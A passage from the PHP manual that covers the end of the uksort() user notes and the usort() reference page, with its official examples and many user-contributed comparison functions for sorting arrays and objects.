        $direction    = $this->sortDirections[$i];

        $diff = strnatcmp($this->details[$a]->$field, $this->details[$b]->$field) * $direction;
        if ($diff == 0 && isset($this->sortFields[++$i]))
        {
            $diff = $this->_objSort($a, $b, $i);
        }

        return $diff;
    }

    function sortMembers($sortFields)
    {
        $i = 0;
        foreach ($sortFields as $field => $direction)
        {
            $this->sortFields[$i] = $field;
            $direction == "DESC" ? $this->sortDirections[$i] = -1 : $this->sortDirections[$i] = 1;
            $i++;
        }

        uksort($this->details, array($this, "_objSort"));

        $this->sortFields = array();
        $this->sortDirections = array();
    }
}
// open a family
$familyId = 5;
$family = new family($familyId);
$family->open(); // this will also fetch all members

// sort members by 3 fields
$family->sortMembers(array("firstName" => "ASC", "age" => "DESC", "hairColor" => "ASC"));
// output all family members
foreach ($family->members as $member)
{
    echo $member->firstName." - ".$member->age." - ".$member->hairColor."<br />";
}
?>

Note that this might not be the fastest thing on earth and it hasn't been tested very much yet but I hope it's useful for someone.
webmaster at kik-it at N0SP4M dot com 09-Feb-2004 10:03
The code below allows you to sort an array_A following array_B keys order, original keys and values remain associated.

<?

//main function
Function SortArrayAKeysLikeArrayBKeys(&$TheArrayToSort){
   uksort($TheArrayToSort,"SortArrayAKeysLikeArrayBKeys_cmp");
}

//the custom compare function
Function SortArrayAKeysLikeArrayBKeys_cmp($a,$b){
  global $TheArrayOrder;
  $PosA=KeyPosInArray($a,$TheArrayOrder);
  $PosB=KeyPosInArray($b,$TheArrayOrder);
  if ($PosA==$PosB){return 0;}else{return ($PosA > $PosB ? 1 : -1);}
}

//where is my key in my array
Function KeyPosInArray($Key,$Array){
   $i=0;
   $Pos=99999999;
   if($Array){
      foreach($Array as $K => $V){
         $i++;
         if($K==$Key){
            $Pos=$i;
            break;
         }
      }
   }
   return $Pos;
}

//the array you want to sort
$AnyArrayToSort['age']='19';
$AnyArrayToSort['ville']='rennes';
$AnyArrayToSort['website']='kik-it.com';
$AnyArrayToSort['region']='bretagne';
$AnyArrayToSort['code_postal']='35200';
$AnyArrayToSort['Nom']='Fred';

//the array with the correct keys/values order
$TheArrayOrder['Nom']='Whatever';
$TheArrayOrder['age']='Anything';
$TheArrayOrder['region']='What u want';
$TheArrayOrder['ville']='Something';
$TheArrayOrder['code_postal']='Nothing';

//before sort
print_r($AnyArrayToSort);
echo "<br>";
//we sort
SortArrayAKeysLikeArrayBKeys($AnyArrayToSort);
echo "<br>";
//after sort
print_r($AnyArrayToSort);
?>

Will print :

Array ( [age] => 19 [ville] => rennes [website] => kik-it.com [region] => bretagne [code_postal] => 35200 [Nom] => Fred )

Array ( [Nom] => Fred [age] => 19 [region] => bretagne [ville] => rennes [code_postal] => 35200 [website] => kik-it.com )

The keys not listed in the $TheArrayOrder will appear at the end of your sorted array (only if Key Pos < 99999999 ;o)
guss at typo dot co dot il 07-Dec-2003 12:18
Regarding the recursive sorting function above:
Genrally speaking, any recursion can be reimplemented using simple iteration. in the specific case, using recursion to compare strings has a huge performance impact while a simple loop would suffice and be faster and more simple.
Recursion is only good if it simplifies your code or your understanding of the concept. the previous example does neither, especially as it does a lot of repetitive things in each iteration, such as asigning the character order constant, rebuilding it into an array and such

For example, the string comparison could be written as such :
function str_compare($a,$b) {
    $order="aAáÁbBcC&#269;&#268;..."; // longer normally & without that html entities
    $default = strlen($a) - strlen($b);
    $minlen = strlen($a) < strlen($b) ? strlen($a) : strlen($b);
    for ($i = 0; $i < $minlen; $i++) {
        $pos_a=strpos($order,$a[$i]);
        $pos_b=strpos($order,$b[$i]);
        if ($pos_a != $pos_b)
            return $pos_a - $pos_b;
    }
    return $default;
}

Which is much simpler and faster.
Note that the above function will break for characters that are not listed in $order. it should be failry trivial to fix it.
ignatius dot reilly at free dot fr 13-Nov-2003 10:59
To use a more complicated comparison function, one can use a callback to a method of an object instance.
For example the following will take an array $arr whose keys are the same as those of $reference, and reorder $arr so that the keys appear in the same order as in $reference.

class kcmp {
    var $reference ;
    function kcmp( $reference ) {
       $this->reference = $reference ;
    }
    function kcompare( $a, $b ) {
       $keys = array_keys( $this->reference ) ;
       $position_a = array_search( $a, $keys ) ;
       $position_b = array_search( $b, $keys ) ;
       return  $position_a < $position_b ? -1 : 1 ;
    }
}

$reference = array(
    "k2" => "a2",
    "k3" => "a3",
    "k1" => "a1"
) ;
$arr = array(
    "k1" => "b1",
    "k2" => "b2",
    "k3" => "b3"
) ;
print_r( $arr ) ;
uksort( $arr, array( new kcmp( $reference ), "kcompare" ) ) ;
print_r( $arr ) ;
pachollini at stones dot com 03-Mar-2003 04:47
I tried to write my own function for sorting with special Czech characters, which php normally compares wrong way. The function is recoursive, it compares the first characters of the strings and when they're the same, the function calls itself with parameters without the first character. My php often crashed by calling this function. After some time if found the problem: it crashed after 10th recoursive call. I think it's a bug in php, and I've made this workaround:

function str_compare($a,$b,$level=0)
    {
    $maxlevel=9;
    if($GLOBALS["STR_COMPARE"] && is_array($a))
        {
        $a=$a[$GLOBALS["STR_COMPARE"]];
        $b=$b[$GLOBALS["STR_COMPARE"]];
        }
    $result=0;
    if($a==$b) return 0;
    elseif($a=="") return ($b=="") ? 0 : 1;
    elseif ($b=="") return -1;
    else
        {
        $order="aAáÁbBcC&#269;&#268;..."; // longer normally & without that html entities
        for($i=0;$i<strlen($order);$i++) $codes[]=ord($order[$i]);
        $char_a=$a[0];$char_b=$b[0];
        $pos_a=array_search(ord($a),$codes); $pos_b=array_search(ord($b),$codes);
        //echo"$char_a - $pos_a<br>";
        if($pos_a===false || $pos_b===false)
            {
            if($char_a==$char_b)
                {
                if ($level<=$maxlevel) $result=str_compare (substr($a,1),substr($b,1),$level+1);
                else $a<$b ? $result=-1 : $result=1;
                }
            else ($char_a<$char_b) ? $result=-1 : $result=1;
            }
        else
            {
            if($pos_a==$pos_b)
                {
                if ($level<=$maxlevel) $result=str_compare(substr($a,1), substr($b,1),$level+1);
                else $a<$b ? $result=-1 : $result=1;
                }
            else ($pos_a<$pos_b) ? $result=-1 : $result=1;
            }
        return $result;
        }
    }
kumar at chicagomodular (dot) com 29-Jan-2003 09:12
The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.
--necessary info from http://www.php.net/manual/en/function.usort.php if you didn't see it already
uasort
usort
Array Functions


Sort an array by values using a user-defined comparison function

uksort
Classes/Objects
Array Functions
PHP Manual

usort

(PHP 4, PHP 5)

usort — Sort an array by values using a user-defined comparison function

Description

bool usort ( array &$array , callback $cmp_function )

This function will sort an array by its values using a user-supplied comparison function. If the array you wish to sort needs to be sorted by some non-trivial criteria, you should use this function.

Note:

If two members compare as equal, their order in the sorted array is undefined.

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

Parameters

array

The input array.

cmp_function

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.1.0 | A new sort algorithm was introduced. The cmp_function doesn't keep the original order for elements comparing as equal.

Examples

Example #1 usort() example

<?php
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

The above example will output:

0: 1
1: 2
2: 3
3: 5
4: 6

Note:

Obviously in this trivial case the sort() function would be more appropriate.

Example #2 usort() example using multi-dimensional array

<?php
function cmp($a, $b)
{
    return strcmp($a["fruit"], $b["fruit"]);
}

$fruits[0]["fruit"] = "lemons";
$fruits[1]["fruit"] = "apples";
$fruits[2]["fruit"] = "grapes";

usort($fruits, "cmp");

while (list($key, $value) = each($fruits)) {
    echo "\$fruits[$key]: " . $value["fruit"] . "\n";
}
?>

When sorting a multi-dimensional array, $a and $b contain references to the first index of the array.

The above example will output:

$fruits[0]: apples
$fruits[1]: grapes
$fruits[2]: lemons

Example #3 usort() example using a member function of an object

<?php
class TestObj {
    var $name;

    function TestObj($name)
    {
        $this->name = $name;
    }

    /* This is the static comparing function: */
    static function cmp_obj($a, $b)
    {
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

$a[] = new TestObj("c");
$a[] = new TestObj("b");
$a[] = new TestObj("d");

usort($a, array("TestObj", "cmp_obj"));

foreach ($a as $item) {
    echo $item->name . "\n";
}
?>

The above example will output:

b
c
d

See Also

  • uasort() - Sort an array with a user-defined comparison function and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

Quicker 05-Jan-2012 01:53
This one may approve multisort performance dramatically.

I had a 100K-row-array with assoc keys and sub arrays, several MBs. Using usort hammered my dev box cpu for several minutes until I killed it.
My own assoc-version of [someone else's code] did the same. Following Array-Indexing and sorting solution only took very few secs:

<?php
define('funcname',0);
define('indexfieldinfuncparamspos',1);
define('funcparams',2);
function array_index($dataarr,$field2funcarr){
  $indexarr=array();
  foreach($dataarr as $key=>$valarr) {
    $currentindex='';
    foreach($field2funcarr as $fieldid=>$funcarr) if(is_array($funcarr)) {
      $funcarr[funcparams][$funcarr[indexfieldinfuncparamspos]]= $valarr[$fieldid];
      $currentindex.= call_user_func_array($funcarr[funcname],$funcarr[funcparams]).'_';
    } else $currentindex.= $valarr[$fieldid].'_';
    $indexarr[$currentindex]=$key;
  }
  return $indexarr;
}
function array_sortbyindex(&$dataarr,$indexarr,$issortindexbykey=true){
  // assumes complete index!: each item of indexarr must correlate a key of dataarr
  $resultarr=array();
  if($issortindexbykey) ksort($indexarr);
  foreach($indexarr as $datakey) $resultarr[$datakey]= $dataarr[$datakey];
  return $resultarr;
}

$dataarr=array(
'Franz'=>array('letters'=>5,'wordtype'=>'name'),
'goes'=>array('letters'=>4,'wordtype'=>'verb'),
'to'=>array('letters'=>2,'wordtype'=>'prep'),
'China'=>array('letters'=>5,'wordtype'=>'noun'));

// just build an index for interest (empty string for wordtype as no modification required):
print_r(array_index($dataarr, array('letters'=>array('str_pad',0,array('',7,'0',STR_PAD_LEFT)), 'wordtype'=>'')));

// build index and sort - all in one go:
print_r(array_sortbyindex($dataarr, array_index($dataarr, array('letters'=>array('str_pad',0, array('',7,'0',STR_PAD_LEFT)), 'wordtype'=>''))));
?>

first print_r returns:
Array
(
    [0000005_name_] => Franz
    [0000004_verb_] => goes
    [0000002_prep_] => to
    [0000005_noun_] => China
)

second print_r returns:
Array
(
    [to] => Array
        (
            [letters] => 2
            [wordtype] => prep
        )

    [goes] => Array
        (
            [letters] => 4
            [wordtype] => verb
        )

    [Franz] => Array
        (
            [letters] => 5
            [wordtype] => name
        )

    [China] => Array
        (
            [letters] => 5
            [wordtype] => noun
        )

)

Major Benefits:
- extremly fast
- each sort field can apply an own modifier. Ideally you can use out-of-the-box functions, which reduces effort for programming callbacks
- you could use the index eg. for sorted data output without physically sorting the data
admin at gosenz dot com 04-Dec-2011 08:58
sort multi-dimentional arrays in class with usort

<?php
class ArraySort
{
    private $arr = array();

    public function __construct($arr)
    {
        $this->arr = $arr;
    }

    public function doSort()
    {
        $cmp = function($a, $b)
        {
            //Do Some Comparation
        }
        if(is_array($this->arr))
        {
            usort($this->arr, $cmp);
        }
        return $this->arr;
    }
}
?>
Gok6tm 13-Sep-2011 06:09
this is a new multisort function for sorting on multiple subfield like it will be in sql : 'ORDER BY field1, field2'
number of sort field is undefined
<?php

$array[] = array('soc' => 3, 'code'=>1);
$array[] = array('soc' => 2, 'code'=>1);
$array[] = array('soc' => 1, 'code'=>1);
$array[] = array('soc' => 1, 'code'=>1);
$array[] = array('soc' => 2, 'code'=>5);
$array[] = array('soc' => 1, 'code'=>2);
$array[] = array('soc' => 3, 'code'=>2);

//usage
print_r(multiSort($array, 'soc', 'code'));

function multiSort() {
    //get args of the function
    $args = func_get_args();
    $c = count($args);
    if ($c < 2) {
        return false;
    }
    //get the array to sort
    $array = array_splice($args, 0, 1);
    $array = $array[0];
    //sort with an anoymous function using args
    usort($array, function($a, $b) use($args) {

        $i = 0;
        $c = count($args);
        $cmp = 0;
        while($cmp == 0 && $i < $c)
        {
            $cmp = strcmp($a[ $args[ $i ] ], $b[ $args[ $i ] ]);
            $i++;
        }

        return $cmp;

    });

    return $array;

}
?>

output:
Array
(
    [0] => Array
        (
            [soc] => 1
            [code] => 1
        )

    [1] => Array
        (
            [soc] => 1
            [code] => 1
        )

    [2] => Array
        (
            [soc] => 1
            [code] => 2
        )

    [3] => Array
        (
            [soc] => 2
            [code] => 1
        )

    [4] => Array
        (
            [soc] => 2
            [code] => 5
        )

    [5] => Array
        (
            [soc] => 3
            [code] => 1
        )

    [6] => Array
        (
            [soc] => 3
            [code] => 2
        )

)
neculitairinel at yahoo dot com 19-Aug-2011 06:12
Here is another date sort, in case you have hours and minutes in the dates.

<?php
function DateSort($a,$b,$d="-") {
    if ($a == $b) {
        return 0;
    } else {
        $a = strtotime($a);
        $b = strtotime($b);
        if($a<$b) {
            return -1;
        } else {
            return 1;
        }
    }
}
?>
Lea Hayes 12-Jul-2011 05:55
<?php
/**
 * Sort array of objects by field.
 *
 * @param array $objects Array of objects to sort.
 * @param string $on Name of field.
 * @param string $order (ASC|DESC)
 */
function sort_on_field(&$objects, $on, $order = 'ASC') {
    $comparer = ($order === 'DESC')
        ? "return -strcmp(\$a->{$on},\$b->{$on});"
        : "return strcmp(\$a->{$on},\$b->{$on});";
    usort($objects, create_function('$a,$b', $comparer));
}
?>
bcsj 28-Jun-2011 11:12
Sorting a multidimensional array by a subkey seem to be one of the bigger challenges when using usort. At least if one want the key to be dynamic. For anyone interested this code seemed to work rather well for me:

<?php

usort($array,array(new cmp($key), "cmp__"));

class cmp {
    var $key;
    function __construct($key) {
        $this->key = $key;
    }

    function cmp__($a,$b) {
        $key = $this->key;
        if ($a[$key] == $b[$key]) return 0;
        return (($a[$key] > $b[$key]) ? 1 : -1);
    }
}

?>
masonswolf+ignorethispart at gmail dot com 13-Jun-2011 10:42
[The second version of a function I wrote], just a little cleaner to use, since the usort call is now folded into the custom 'usortByArrayKey' function.

Seems like this is a popular problem - sorting an array of arrays by the keys of sub-arrays, so I'll go ahead and throw in an approach I haven't seen anyone mention yet. It only works since PHP 5.3 because that's when anonymous functions got added to the language.

<?php
function usortByArrayKey(&$array, $key, $asc=SORT_ASC) {
    $sort_flags = array(SORT_ASC, SORT_DESC);
    if(!in_array($asc, $sort_flags)) throw new InvalidArgumentException('sort flag only accepts SORT_ASC or SORT_DESC');
    $cmp = function(array $a, array $b) use ($key, $asc, $sort_flags) {
        if(!is_array($key)) { //just one key and sort direction
            if(!isset($a[$key]) || !isset($b[$key])) {
                throw new Exception('attempting to sort on non-existent keys');
            }
            if($a[$key] == $b[$key]) return 0;
            return ($asc==SORT_ASC xor $a[$key] < $b[$key]) ? 1 : -1;
        } else { //using multiple keys for sort and sub-sort
            foreach($key as $sub_key => $sub_asc) {
                //array can come as 'sort_key'=>SORT_ASC|SORT_DESC or just 'sort_key', so need to detect which
                if(!in_array($sub_asc, $sort_flags)) { $sub_key = $sub_asc; $sub_asc = $asc; }
                //just like above, except 'continue' in place of return 0
                if(!isset($a[$sub_key]) || !isset($b[$sub_key])) {
                    throw new Exception('attempting to sort on non-existent keys');
                }
                if($a[$sub_key] == $b[$sub_key]) continue;
                return ($sub_asc==SORT_ASC xor $a[$sub_key] < $b[$sub_key]) ? 1 : -1;
            }
            return 0;
        }
    };
    usort($array, $cmp);
};
?>

Examples:
1) Sort a multi-dimensional array by a single key, from least to greatest:
    usortByArrayKey($resultset, 'order_id');

2) Sort a multi-dimensional array by a single key, from greatest to least:
    usortByArrayKey($resultset, 'purchase_amount', SORT_DESC);

3) Sort a multi-dimensional array first by one key, but then by a different key when the first one is equal, both from least to greatest:
    usortByArrayKey($resultset, array('product_id', 'price'));

4) Sort a multi-dimensional array by two different keys from least to greatest, and then a third from greatest to least if the first two keys map to the equal values:
    usortByArrayKey($resultset, array('product_id', 'customer_id', 'date'=>SORT_DESC));

5) Sort a multi-dimensional array by multiple keys, all from greatest to least:
    usortByArrayKey($resultset, array('product_id', 'price'), SORT_DESC);

One word of caution, since SORT_ASC and SORT_DESC have actual int values of 4 and 3, respectively, if you need to sort a multi-dimensional array by keys 3 or 4, and you're using an array to pass in your keys, you MUST specify your sort flags (e.g. array(3 => SORT_ASC,...)) to prevent unexpected behavior, instead of relying on the function's second parameter as your default sort flag.
cuonghuyto at gmail dot com 02-Mar-2011 02:42
Some contribution towards a specification of usort()

------
- If you don't provide the callback function, an error would be raised: "usort(): Invalid comparison function."
- If your callback function doesn't return anything, or returns any value other than -1 or +1 (e.g. 0, 2, -2), then usort() would treat your sorting purpose as if there is no comparison operator provided, and it would actually change your list into an undefined order
------
markfiend at gmail dot com 21-Feb-2011 02:22
To sort a multidimensional array (such as is returned from database query) by the values in $array[foo][$key]

e.g.
<?php
/** Potential pitfall if there is already a key of '__________'
 *  in the subarrays. Not likely I hope!
 * -------------------------------------------------------------
 */
function array_sort_by_subval(&$array, $key) {
    foreach($array as &$v) {
        $v['__________'] = $v[$key];
    }
    usort($array, 'sort_by_underscores');
    foreach($array as &$v) {
        unset($v['__________']);
    }
}

function sort_by_underscores($a, $b) {
    if($a['__________'] == $b['__________']) return 0;
    if($a['__________'] < $b['__________']) return -1;
    return 1;
}

$n = array(array('a' => 0, 'b' => 7, 'c' => 2),
           array('a' => 4, 'b' => 1, 'c' => 3),
           array('a' => 7, 'b' => 3, 'c' => 1));

array_sort_by_subval($n, 'b');
?>
The array $n will now be:
array(array('a' => 4, 'b' => 1, 'c' => 3),
      array('a' => 7, 'b' => 3, 'c' => 1),
      array('a' => 0, 'b' => 7, 'c' => 2))
cmanley_nl 24-Jan-2011 11:55
I had to sort a result set by host. I made this comparator function to use in usort calls.
Sorts by host segment so that a.example.org comes after b.example.com, etc.

<?php
function hostcmp($a, $b) {
    $a = strtolower($a);
    $b = strtolower($b);
    if ($a == $b) {
        return 0;
    }
    $parts_a = array_reverse(explode('.', $a));
    $parts_b = array_reverse(explode('.', $b));
    $max = max(count($parts_a), count($parts_b));
    for ($i=0; $i < $max; $i++) {
        if (($i < count($parts_a)) && ($i < count($parts_b))) {
            if ($c = strcmp($parts_a[$i],$parts_b[$i])) {
                return $c;
            }
        }
        else {
            // Return numeric cmp on array sizes. PHP doesn't have a <=> operator, so emulate it.
            //return count($parts_a) <=> count($parts_b);
            return count($parts_a) == count($parts_b) ? 0 : (count($parts_a) < count($parts_b) ? -1 : 1);
        }
    }
    return 0;
}
?>
fmaz008 at gmail dot com 29-Sep-2010 02:23
This comment is just to help backward compatibility.

I needed to have a foreach loop using reference just before using the usort function on the same array that was used in the foreach.

Like this:
<?php
public function sortByTitle()
{
        if(empty($this->_arrSubCat))
            return false;

        foreach($this->_arrSubCat as &$cat)
            $cat->sortByTitle();

        usort($this->_arrSubCat, 'strcasecmp');
}
?>

I had this strange bug where the last object of the $this->_arrSubCat array before the sort was alway replaced/overwrited with his string value.

On my machine (PHP 5.3), I had no problem, but when I placed the code on another server, my code crashed with a fatal error (Because I was using a string as an object later in the code)

The solution I found is really simple, and avoid the array to have a reference declared in memory while running the sort function. Just add an unset($cat):

<?php
public function sortByTitle()
{
        if(empty($this->_arrSubCat))
            return false;

        foreach($this->_arrSubCat as &$cat)
            $cat->sortByTitle();

        unset($cat); //No more problem because of the foreach &cat reference.
        usort($this->_arrSubCat, 'strcasecmp');
}
?>

It took me an hour an a half to locate the bug, hope it will save someone some time !
phil at lavin dot me dot uk 01-Aug-2010 11:06
strcmp (or strcasecmp) can be used as a callback function for usort. It will cast your comparison values to string. Thus, you can implement a __toString() method into your classes and use usort without creating a callback function:

<?php
class Foo {
   private $a;
   private $b;

   public function __construct($a, $b) {
      $this->a = $a;
      $this->b = $b;
   }

   public function __toString() {
      return (string)$this->a;
   }
}

$foo = array(new Foo('t', 'b'), new Foo('a', 'c'), new Foo('g', 'd'));

print_r($foo);

usort($foo, 'strcasecmp');

print_r($foo);
?>
xaguilars at gmail dot com 06-May-2010 04:03
I'd like to share with the community my function for sorting an array of arrays or objects containing associative data. This could be used, for example, with a MySQL result.

<?php
function sort_by($field, &$arr, $sorting=SORT_ASC, $case_insensitive=true){
    if(is_array($arr) && (count($arr)>0) && ( ( is_array($arr[0]) && isset($arr[0][$field]) ) || ( is_object($arr[0]) && isset($arr[0]->$field) ) ) ){
        if($case_insensitive==true) $strcmp_fn = "strnatcasecmp";
        else $strcmp_fn = "strnatcmp";

        if($sorting==SORT_ASC){
            $fn = create_function('$a,$b', '
                if(is_object($a) && is_object($b)){
                    return '.$strcmp_fn.'($a->'.$field.', $b->'.$field.');
                }else if(is_array($a) && is_array($b)){
                    return '.$strcmp_fn.'($a["'.$field.'"], $b["'.$field.'"]);
                }else return 0;
            ');
        }else{
            $fn = create_function('$a,$b', '
                if(is_object($a) && is_object($b)){
                    return '.$strcmp_fn.'($b->'.$field.', $a->'.$field.');
                }else if(is_array($a) && is_array($b)){
                    return '.$strcmp_fn.'($b["'.$field.'"], $a["'.$field.'"]);
                }else return 0;
            ');
        }
        usort($arr, $fn);
        return true;
    }else{
        return false;
    }
}
?>
Alex Rath 17-Apr-2010 11:35
This is the perfect Place for anonymous Functions, here an Example:

<?php

  $array = array(3, 2, 5, 6, 1);

  usort($array, function($func_a, $func_b) {
    if($func_a == $func_b) return 0;
    return ($func_a < $func_b) ? -1 : 1;
  });

  foreach ($array as $key => $value) echo "$key: $value\n";

?>
nicolas dot demarque at gmail dot com 10-Apr-2010 11:37
Another way to compare object is to have a compare static function in the class with reccursion ability and have globals or static variables who save the state of comparison, and the order.

It could be a good idea to have a variable with comparison functions name (with the sorting : numeric, alphanumeric, inverse).

<?php
interface Comparable{static function compare($a, $b);}
class myObj implements Comparable{
        var $var1; var $var2; var $var3;
        function __construct($v1, $v2, $v3){
                $this->var1=$v1; $this->var2=$v2; $this->var3=$v3;
        }
        public function __toString() {
                return "v1 ".$this->var1." v2 ".$this->var2." v3 ".$this->var3;
        }
        static function compare($a, $b){
                $sort=$GLOBALS['sorts'][$GLOBALS['sort']];
                echo "$sort\n";
                if($a->$sort == $b->$sort){
                        if($GLOBALS['sorts'][$GLOBALS['sort']+1]){
                                $GLOBALS['sort']++;
                                $res=  call_user_func(array('myObj', 'compare'), $a, $b);
                                $GLOBALS['sort']=0; return $res;
                        }
                        $GLOBALS['sort']=0; return 0;
                }
                $GLOBALS['sort']=0;
                if($a->$sort > $b->$sort)
                        return 1;
                return -1;
        }
}

$objects = array(new myObj("1", "2", "3"), new myObj("2", "2", "2"), new myObj("1", "3", "4"));

/* Tests */
$sorts=Array('var1', 'var2', 'var3'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("var1 var2 var3\n"); foreach($objects as $o)echo $o."\n";
$sorts=Array('var2', 'var3', 'var1'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("\nvar2 var3 var1\n"); foreach($objects as $o)echo $o."\n";
$sorts=Array('var2', 'var1', 'var3'); $sort = 0; usort($objects, array('myObj', 'compare')); echo ("\nvar2 var1 var3\n"); foreach($objects as $o)echo $o."\n";

?>
Paul Geraghty foofoonet at the G Mall 27-Nov-2009 11:42
For anyone else sorting mixed RSS feeds in date order, here's an example of the perhaps not so obvious way of calling a method from the same class using usort():

<?php
class MyAggregator {

  static function cmp_pubdate( $a, $b ) {
    $a_t = strtotime( $a['pubdate'] ) ;
    $b_t = strtotime( $b['pubdate'] ) ;

    if( $a_t == $b_t ) return 0 ;
    return ($a_t > $b_t ) ? -1 : 1;
  }

// assemble arrays for display in date order
  function all_documents(){
    $all_data  = array_merge (
    $this->upcoming(), $this->past() ) ;

// Use within its own class using the $this syntax so:
    usort( $all_data, array( $this , "cmp_pubdate" ) ) ;

  return $all_data ;
  }
}
?>

As previously said, use as a static function in other parts of your code:

<?php usort ( $a, array( "MyAggregator", "cmp_pubdate" ) ) ; ?>
Rogier 16-Nov-2009 03:50
<?php
// I have seen many examples of sorting, almost all of which
// are too specific and require one implementation per property
// on which to sort.
// So I decided to use Reflection, implementing a more generic approach that in fact turned out
// to resemble an approach I used in the early days of .NET...

// Intentionally, I did not do any checking on existing
// items. This is just to keep simplicity and to
// demonstrate the sorting functionality.

// A more real-life appraoach would require e.g. a collection that is based
// on implementing the Iterator, ArrayAccess and Countable interfaces.

// Take note that this implementation is specific for PHP5+ only
// This code was tested on PHP 5.0.4

class SortableItem
{
    static public $sortProperty;

    static function USortAsc($a, $b)
    {
        /*@var $_pd ReflectionProperty*/
        $_pd = self::$sortProperty;
        if ($_pd !== null)
        {
            if ($_pd->getValue($a) === $_pd->getValue($b))
                return 0;
            else
                return (($_pd->getValue($a) < $_pd->getValue($b))?-1:1);
        }
        return 0;
    }

    static function USortDesc($a, $b)
    {
        return -(self::USortAsc($a,$b));
    }

}
class Item extends SortableItem
{
    public $name;
    public $index;
    public $description;

    function __construct($nam,$idx,$desc)
    {
        $this->name = $nam;
        $this->index = $idx;
        $this->description = $desc;
    }
    function __toString()
    {
        return "$this->index; $this->name; $this->description\n";
    }
}
class ItemCollection
{
    protected $_array = array();
    protected $_itemDescriptor;

    function __construct()
    {
        $this->_itemDescriptor = new ReflectionClass('Item');
    }

    function Add(Item $item)
    {
        $this->_array[] = $item;
    }

    function Sort($property, $asc=true)
    {
        // this is where sorting logic takes place
        $_pd = $this->_itemDescriptor->getProperty($property);
        if ($_pd == null)
        {
            user_error('Property '.$property.' does not exist in class '.$this->_itemDescriptor->getName(), E_WARNING);
            return;
        }
        // set sortDescriptor
        Item::$sortProperty = $_pd;
        // and apply sorting
        usort($this->_array, array('Item', ($asc?'USortAsc':'USortDesc')));
    }

    function getItems(){return $this->_array;}
}

//testing it....
$utime = microtime(true);
$coll = new ItemCollection();
$coll->Add( new Item('apple',0,'a sour fruit') );
$coll->Add( new Item('pear',54,'delicious pears') );
$coll->Add( new Item('mango',245,'bread and butter') );

echo PHP_EOL,'sort by index, asc',PHP_EOL;
$coll->Sort('index',true);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}

echo PHP_EOL,'sort by index, desc',PHP_EOL;
$coll->Sort('index',false);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}

echo PHP_EOL,'sort by name, asc',PHP_EOL;
$coll->Sort('name',true);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}

echo PHP_EOL,'sort by name, desc',PHP_EOL;
$coll->Sort('name',false);
$items = $coll->getItems();
foreach($items as $item)
{
    echo $item->__toString();
}
$utime = microtime(true)-$utime;
echo PHP_EOL,' sorting all took ',round(1000*$utime,2),' ms';
?>
Will Shaver 27-Aug-2009 02:31
An even better implementation of osort [than my original, posted on 24-AUG-09 (since deleted)], allowing for multiple properties and directions.  With php 5.3.0 sorting by properties of an object becomes MUCH simpler.  Note that this uses anonymous functions / closures. Might find reviewing the php docs on that useful.  Look below for examples for previous version of php.

<?php
function osort(&$array, $props)
{
    if(!is_array($props))
        $props = array($props => true);

    usort($array, function($a, $b) use ($props) {
        foreach($props as $prop => $ascending)
        {
            if($a->$prop != $b->$prop)
            {
                if($ascending)
                    return $a->$prop > $b->$prop ? 1 : -1;
                else
                    return $b->$prop > $a->$prop ? 1 : -1;
            }
        }
        return -1; //if all props equal
    });
}
?>

Usage:

<?php
osort($items, array("Color" => true, "Size" => false));
//or
osort($items, "Color");
?>
maarten at xel dot nl 17-Jul-2009 08:45
If you ever have to sort a collection of objects on something like a string (name) present in every object, but want to keep the array of objects intact you might find this useful:

<?php
function naturalSortObjectArray($objectArray) {
        function naturalSortByName($a, $b) {
            return strnatcmp($a->name, $b->name);
        }
        usort($objectArray, "naturalSortByName");
        return $objectArray;
}
?>
majkl578 at gmail dot com 25-Jun-2009 05:25
As of PHP 5.3 it is possible to use anonymous functions:

<?php
$arrayToSort = array(2,6,1,9,3);

/* As of PHP 5.3 */
usort($arrayToSort, function($a, $b) {
    return $a > $b ? 1 : -1;
});

var_dump($arrayToSort);

/* Returns:
array
  0 => int 1
  1 => int 2
  2 => int 3
  3 => int 6
  4 => int 9
*/
?>
phpguy at lifetoward dot com 11-Jun-2009 05:54
I recommend that you take special note of the fact that an INTEGER value must be returned from a sorting callback function. So, let's say you want to sort arrays by a quotient of two of their elements and to do so you write something like:
<?php
function sorter($a, $b)
{ return $a['num']/$a['denom'] - $b['num']/$b['denom']; }
?>

You may not get the result you want because probably $x['num']/$x['denom'] has absolute value less than 1 and you'll get a lot of "same value" effective results from the comparator function as integer rounding occurs.

To solve this just boost up the quotients to be big integers, then subtract them:

<?php
function sorter($a, $b)
{ return 1000*$a['num']/$a['denom'] - 1000*$b['num']/$b['denom']; }
?>
huskyr at gmail dot com 28-May-2009 06:04
Remember that functions inside of functions will become part of the global scope too. So, something like:

<?php
    function foo($array) {
        function compare($a,$b) {
            return $a < $b;
        }
        usort($array, "compare");
        return $array;
    }

    function bar($array) {
        function compare($a,$b) {
            return $a > $b;
        }
        usort($array, "compare");
        return $array;
    }

    foo($something);
    bar($something_else);
?>

Will result in a fatal error because you're redeclaring 'compare'. This could be a little strange, e.g. for JavaScript programmers who expect functions in functions to become private outside of the parent scope.
gmail.com - nmcquay 31-Mar-2009 12:25
I wrote a wrapper for usort that lets you use something similar to an SQL ORDER BY clause. It can sort arrays of associative arrays and arrays of objects and I think it would work with some hybrid case.

Example of how the function works:

<?php
$testAry = array(
  array('a' => 1, 'b' => 2, 'c' => 3),
  array('a' => 2, 'b' => 1, 'c' => 3),
  array('a' => 3, 'b' => 2, 'c' => 1),
  array('a' => 1, 'b' => 3, 'c' => 2),
  array('a' => 2, 'b' => 3, 'c' => 1),
